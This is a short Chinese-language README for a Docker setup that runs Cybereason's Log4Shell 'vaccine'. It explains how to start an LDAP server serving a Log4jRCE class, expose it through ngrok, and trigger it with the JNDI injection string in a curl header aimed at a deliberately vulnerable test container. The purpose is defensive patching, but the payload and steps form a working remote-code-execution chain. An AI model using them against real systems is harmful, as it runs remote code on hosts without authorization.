一种容器化运行由 Cybereason 提供的 log4j 疫苗的方式
克隆此仓库:
git clone https://github.com/jeffbryner/log4j-docker-vaccine.git
编辑 containers.env 文件,填入目标可以访问的准确的私有或公共 IP/DNS。默认条目很可能不适合你!
构建并运行容器:
docker-compose -f docker-compose.yml -p vaccine up
现在你有一个正在监听的 ldap 服务器,它将提供 Log4jRCE 类,用于对易受攻击的 log4j 实例进行免疫。
你可以通过 ngrok 将此服务暴露到互联网(如果你愿意)。
ngrok tcp 1389
你可以使用臭名昭著的 jndi 输入字符串将易受攻击的 log4j 实例发送到此处:
${jndi:ldap://<ngrokurlgoeshere>:1389/a}
有一个故意带有漏洞版本的 log4j 容器可用,地址为:
你可以按照他们的说明启动它并进行测试:
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app vulnerable-app
并通过以下命令触发免疫:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-ip-address-or-dns-name:1389/a'